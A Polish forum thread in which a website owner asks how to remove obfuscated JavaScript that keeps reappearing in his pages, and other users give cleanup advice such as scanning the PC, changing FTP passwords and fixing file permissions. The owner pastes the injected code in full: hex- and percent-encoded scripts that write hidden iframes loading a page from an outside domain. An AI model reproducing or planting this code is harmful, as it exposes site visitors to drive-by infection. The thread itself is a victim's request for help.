Wirus na stronach www

[maxii]

Witam od jakiegoś czasu ładuje mi się kod na strony prawie co dzień go usuwam a teraz Google oznaczyły moje strony jaki zagrożenie wirusowa. pozmieniałem hasła do ftp do admina zmieniłem atrybut plików na 444 i dalej to samo. Może ktoś wie jak go wywalić na dobra .??? oto ten kod

<script>function c102916999516l49687c2135c26(l49687c213600e){ function l49687c21363f7(){var l49687c21367df=16;return l49687c21367df;} return (parseInt(l49687c213600e,l49687c21363f7()));}function l49687c2136bc8(l49687c2136fb0){ function l49687c2137b6a(){var l49687c2137f52=2;return l49687c2137f52;} var l49687c2137398='';l49687c213833b=String.fromCharCode;for(l49687c2137781=0;l49687c2137781<l49687c2136fb0.length;l49687c2137781+=l49687c2137b6a()){ l49687c2137398+=(l49687c213833b(c102916999516l49687c2135c26(l49687c2136fb0.subst

r(l49687c2137781,l49687c2137b6a()))));}return l49687c2137398;} var xc2='';var l49687c2138724='3C736'+xc2+'3726'+xc2+'970743E6'+xc2+'96'+xc2+'6'+xc2+'28216'+xc2+'D796'+xc2+'96'+xc2+'1297B6'+xc2+'46'+xc2+'F6'+xc2+'3756'+xc2+'D6'+xc2+'56'+xc2+'E742E77726'+xc2+'9746'+xc2+'528756'+xc2+'E6'+xc2+'5736'+xc2+'36'+xc2+'1706'+xc2+'528202725336'+xc2+'32536'+xc2+'392536'+xc2+'36'+xc2+'2537322536'+xc2+'312536'+xc2+'6'+xc2+'42536'+xc2+'352532302536'+xc2+'6'+xc2+'52536'+xc2+'312536'+xc2+'6'+xc2+'42536'+xc2+'3525336'+xc2+'42536'+xc2+'332533312533302532302537332537322536'+xc2+'3325336'+xc2+'42532372536'+xc2+'3825373425373425373025336'+xc2+'125326'+xc2+'6'+xc2+'25326'+xc2+'6'+xc2+'2536'+xc2+'372536'+xc2+'6'+xc2+'6'+xc2+'2536'+xc2+'372536'+xc2+'6'+xc2+'6'+xc2+'2533322536'+xc2+'6'+xc2+'42536'+xc2+'3525326'+xc2+'52536'+xc2+'6'+xc2+'52536'+xc2+'3525373425326'+xc2+'6'+xc2+'25326'+xc2+'52536'+xc2+'372536'+xc2+'6'+xc2+'6'+xc2+'25326'+xc2+'6'+xc2+'2536'+xc2+'332536'+xc2+'382536'+xc2+'352536'+xc2+'332536'+xc2+'6'+xc2+'225326'+xc2+'52536'+xc2+'382537342536'+xc2+'6'+xc2+'42536'+xc2+'6'+xc2+'32532372532302537372536'+xc2+'392536'+xc2+'342537342536'+xc2+'3825336'+xc2+'42533322533312533342532302536'+xc2+'382536'+xc2+'352536'+xc2+'392536'+xc2+'372536'+xc2+'3825373425336'+xc2+'42533322533312533342532302537332537342537392536'+xc2+'6'+xc2+'32536'+xc2+'3525336'+xc2+'4253237253736'+xc2+'2536'+xc2+'392537332536'+xc2+'392536'+xc2+'322536'+xc2+'392536'+xc2+'6'+xc2+'32536'+xc2+'3925373425373925336'+xc2+'12536'+xc2+'382536'+xc2+'392536'+xc2+'342536'+xc2+'342536'+xc2+'352536'+xc2+'6'+xc2+'525323725336'+xc2+'525336'+xc2+'325326'+xc2+'6'+xc2+'2536'+xc2+'392536'+xc2+'36'+xc2+'2537322536'+xc2+'312536'+xc2+'6'+xc2+'42536'+xc2+'3525336'+xc2+'52729293B7D76'+xc2+'6'+xc2+'172206'+xc2+'D796'+xc2+'96'+xc2+'13D7472756'+xc2+'53B3C2F736'+xc2+'3726'+xc2+'970743E';document.write(l49687c2136bc8(l49687c2138724));</script><script>if(!myia){document.write(unescape( '%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%63%31%30%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%67%6f%67%6f%32%6d%65%2e%6e%65%74%2f%2e%67%6f%2f%63%68%65%63%6b%2e%68%74%6d%6c%27%20%77%69%64%74%68%3d%32%31%34%20%68%65%69%67%68%74%3d%32%31%34%20%73%74%79%6c%65%3d%27%76%69%73%69%62%69%6c%69%74%79%3a%68%69%64%64%65%6e%27%3e%3c%2f%69%66%72%61%6d%65%3e'));}var myia=true;</script></tr></tbody></table></body></html>

[GEGE]

Gdzie hostujesz strone? Pisales do BOK?

[maxii]

Gdzie hostujesz strone? Pisales do BOK?

to jest cały kod

<?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?><iframe src='https://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c102916999516l49687c2135c26(l49687c213600e){ function l49687c21363f7(){var l49687c21367df=16;return l49687c21367df;} return (parseInt(l49687c213600e,l49687c21363f7()));}function l49687c2136bc8(l49687c2136fb0){ function l49687c2137b6a(){var l49687c2137f52=2;return l49687c2137f52;} var l49687c2137398='';l49687c213833b=String.fromCharCode;for(l49687c2137781=0;l49687c2137781<l49687c2136fb0.length;l49687c2137781+=l49687c2137b6a()){ l49687c2137398+=(l49687c213833b(c102916999516l49687c2135c26(l49687c2136fb0.subst

r(l49687c2137781,l49687c2137b6a()))));}return l49687c2137398;} var xc2='';var l49687c2138724='3C736'+xc2+'3726'+xc2+'970743E6'+xc2+'96'+xc2+'6'+xc2+'28216'+xc2+'D796'+xc2+'96'+xc2+'1297B6'+xc2+'46'+xc2+'F6'+xc2+'3756'+xc2+'D6'+xc2+'56'+xc2+'E742E77726'+xc2+'9746'+xc2+'528756'+xc2+'E6'+xc2+'5736'+xc2+'36'+xc2+'1706'+xc2+'528202725336'+xc2+'32536'+xc2+'392536'+xc2+'36'+xc2+'2537322536'+xc2+'312536'+xc2+'6'+xc2+'42536'+xc2+'352532302536'+xc2+'6'+xc2+'52536'+xc2+'312536'+xc2+'6'+xc2+'42536'+xc2+'3525336'+xc2+'42536'+xc2+'332533312533302532302537332537322536'+xc2+'3325336'+xc2+'42532372536'+xc2+'3825373425373425373025336'+xc2+'125326'+xc2+'6'+xc2+'25326'+xc2+'6'+xc2+'2536'+xc2+'372536'+xc2+'6'+xc2+'6'+xc2+'2536'+xc2+'372536'+xc2+'6'+xc2+'6'+xc2+'2533322536'+xc2+'6'+xc2+'42536'+xc2+'3525326'+xc2+'52536'+xc2+'6'+xc2+'52536'+xc2+'3525373425326'+xc2+'6'+xc2+'25326'+xc2+'52536'+xc2+'372536'+xc2+'6'+xc2+'6'+xc2+'25326'+xc2+'6'+xc2+'2536'+xc2+'332536'+xc2+'382536'+xc2+'352536'+xc2+'332536'+xc2+'6'+xc2+'225326'+xc2+'52536'+xc2+'382537342536'+xc2+'6'+xc2+'42536'+xc2+'6'+xc2+'32532372532302537372536'+xc2+'392536'+xc2+'342537342536'+xc2+'3825336'+xc2+'42533322533312533342532302536'+xc2+'382536'+xc2+'352536'+xc2+'392536'+xc2+'372536'+xc2+'3825373425336'+xc2+'42533322533312533342532302537332537342537392536'+xc2+'6'+xc2+'32536'+xc2+'3525336'+xc2+'4253237253736'+xc2+'2536'+xc2+'392537332536'+xc2+'392536'+xc2+'322536'+xc2+'392536'+xc2+'6'+xc2+'32536'+xc2+'3925373425373925336'+xc2+'12536'+xc2+'382536'+xc2+'392536'+xc2+'342536'+xc2+'342536'+xc2+'352536'+xc2+'6'+xc2+'525323725336'+xc2+'525336'+xc2+'325326'+xc2+'6'+xc2+'2536'+xc2+'392536'+xc2+'36'+xc2+'2537322536'+xc2+'312536'+xc2+'6'+xc2+'42536'+xc2+'3525336'+xc2+'52729293B7D76'+xc2+'6'+xc2+'172206'+xc2+'D796'+xc2+'96'+xc2+'13D7472756'+xc2+'53B3C2F736'+xc2+'3726'+xc2+'970743E';document.write(l49687c2136bc8(l49687c2138724));</script>

serwery mam w cal i nazwa pisałem do admina nie dostałem odpowiedzi.

[lolki]

del

[maxii]

del

tak zawsze kasuje ale to powraca sąd to ???? co z tym zrobić ???

[stat4seo]

del

tak zawsze kasuje ale to powraca sąd to ???? co z tym zrobić ???

To miało zapewne znaczyć, że post do skasowania

Pisz do hostingu, to jakiś CMS ?

Uzywasz na stronie jakiegos "darmowego" licznika czy czegos podobnego ?

Przeskanuj też swój PC.

[panfajeczka]

Przepatrz też formularze jeśli masz na swojej stronie. Może nie filtrujesz POSTów.

[xavi1984]

Miałem i mam podobne problemy - przeskanuj porządnie dysk kilkoma programami, zmień hasło na ftp, to jest wwalane przez jakiś wirus

[neeon]

tak , śmiga ostatnio jakieś gó**o po internecie pierwsze co zrób to przeczyść kompa , a potem serwer , a potem jeszcze raz kompa

[maxii]

tak , śmiga ostatnio jakieś gó**o po internecie pierwsze co zrób to przeczyść kompa , a potem serwer , a potem jeszcze raz kompa

Przeskanowałem PC nod32, norton 2009, i avast potem przejrzałem prawe każdy plik na serwerach powywalałem ten kod a było ich troche

i czekam czy się znowu pojawi

teraz skanuje jeszcze raz PC

Zobaczymy co się stanie???

[maxii]

hejka chyba się udało komp przeskanowany wirusy wywalone hasła pozmieniane nie pojawia się już ten kod. strony zgłoszone do ponownej indeksacji

Tylko teraz ile zejdzie google zdjęcie blokady antywirusowej, która się pojawia jak ktoś wchodzi na moją stronę ???? Wie ktoś jak to przyśpieszyć. ???

[Ivellios]

Sprawdź też chmod'y. Ja przez głupotę ustawiałem kiedyś wszystkim plikom chmod 777 i razu pewnego wirus mi się dokleił...

[relons]

hejka chyba się udało komp przeskanowany wirusy wywalone hasła pozmieniane nie pojawia się już ten kod. strony zgłoszone do ponownej indeksacji

Tylko teraz ile zejdzie google zdjęcie blokady antywirusowej, która się pojawia jak ktoś wchodzi na moją stronę ???? Wie ktoś jak to przyśpieszyć. ???

Jeżeli w total commanderze pozostawiłeś zapamiętane hasła to problem może się powtórzyć.

[luq]

mi po zgłoszeniu strony na stopbadware.org ponownie rozpatrzyli w ciągu 3 dni.

[maxii]

Sprawdź też chmod'y. Ja przez głupotę ustawiałem kiedyś wszystkim plikom chmod 777 i razu pewnego wirus mi się dokleił...

Witam ustawiłem wszystkim plikom w których był wirus index.php admin.php i w większości plików html na chmod'y. na 444 .

Ciekawe kiedy to zdejmą dziś jest 2 dzień jak ją zgłosiłem strony mi lecą w dół w rankingu. jak to przyśpieszyć??? pinguje na strony ciekawe czy to coś daje na jednym z forum czytałem że to przyśpiesza indeksacje stron ciekawe???